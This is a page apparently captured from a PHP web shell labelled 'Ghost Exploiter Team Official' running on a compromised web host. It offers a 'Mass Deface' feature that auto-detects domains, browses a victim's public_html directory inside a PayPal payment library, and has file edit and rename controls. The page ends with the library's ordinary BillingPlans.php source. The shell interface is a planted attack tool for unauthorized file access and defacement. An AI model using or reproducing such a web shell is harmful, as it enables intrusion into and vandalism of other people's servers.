webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
srmklive
/
paypal
/
src
/
Traits
/
PayPalAPI
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
BillingPlans
--
ren
InvoiceSearch
--
ren
Orders
--
ren
PaymentMethodsTokens
--
ren
Subscriptions
--
ren
BillingPlans.php
3.737KB
edt
ren
CatalogProducts.php
2.079KB
edt
ren
Disputes.php
1.528KB
edt
ren
DisputesActions.php
6.993KB
edt
ren
Identity.php
5.153KB
edt
ren
Invoices.php
10.831KB
edt
ren
InvoicesSearch.php
0.917KB
edt
ren
InvoicesTemplates.php
2.694KB
edt
ren
Orders.php
3.208KB
edt
ren
PartnerReferrals.php
2.885KB
edt
ren
PaymentAuthorizations.php
2.846KB
edt
ren
PaymentCaptures.php
1.45KB
edt
ren
PaymentExperienceWebPro
...
3.327KB
edt
ren
PaymentMethodsTokens.php
3.182KB
edt
ren
PaymentRefunds.php
0.56KB
edt
ren
Payouts.php
2.103KB
edt
ren
ReferencedPayouts.php
2.272KB
edt
ren
Reporting.php
1.644KB
edt
ren
Subscriptions.php
6.302KB
edt
ren
Trackers.php
2.872KB
edt
ren
WebHooks.php
3.192KB
edt
ren
WebHooksEvents.php
2.083KB
edt
ren
WebHooksVerification.php
0.604KB
edt
ren
<?php namespace Srmklive\PayPal\Traits\PayPalAPI; trait BillingPlans { use BillingPlans\PricingSchemes; /** * Create a new billing plan. * * @param array $data * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/subscriptions/v1/#plans_create */ public function createPlan(array $data) { $this->apiEndPoint = 'v1/billing/plans'; $this->options['json'] = $data; $this->verb = 'post'; return $this->doPayPalRequest(); } /** * List all billing plans. * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/subscriptions/v1/#plans_list */ public function listPlans() { $this->apiEndPoint = "v1/billing/plans?page={$this->current_page}&page_size={$this->page_size}&total_required={$this->show_totals}"; $this->verb = 'get'; return $this->doPayPalRequest(); } /** * Update an existing billing plan. * * @param string $plan_id * @param array $data * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_update */ public function updatePlan(string $plan_id, array $data) { $this->apiEndPoint = "v1/billing/plans/{$plan_id}"; $this->options['json'] = $data; $this->verb = 'patch'; return $this->doPayPalRequest(false); } /** * Show details for an existing billing plan. * * @param string $plan_id * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/subscriptions/v1/#plans_get */ public function showPlanDetails(string $plan_id) { $this->apiEndPoint = "v1/billing/plans/{$plan_id}"; $this->verb = 'get'; return $this->doPayPalRequest(); } /** * Activate an existing billing plan. * * @param string $plan_id * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/subscriptions/v1/#plans_activate */ public function activatePlan(string $plan_id) { $this->apiEndPoint = "v1/billing/plans/{$plan_id}/activate"; $this->verb = 'post'; return $this->doPayPalRequest(false); } /** * Deactivate an existing billing plan. * * @param string $plan_id * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/subscriptions/v1/#plans_deactivate */ public function deactivatePlan(string $plan_id) { $this->apiEndPoint = "v1/billing/plans/{$plan_id}/deactivate"; $this->verb = 'post'; return $this->doPayPalRequest(false); } /** * Update pricing for an existing billing plan. * * @param string $plan_id * @param array $pricing * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/subscriptions/v1/#plans_update-pricing-schemes */ public function updatePlanPricing(string $plan_id, array $pricing) { $this->apiEndPoint = "v1/billing/plans/{$plan_id}/update-pricing-schemes"; $this->options['json'] = [ 'pricing_schemes' => $pricing, ]; $this->verb = 'post'; return $this->doPayPalRequest(false); } }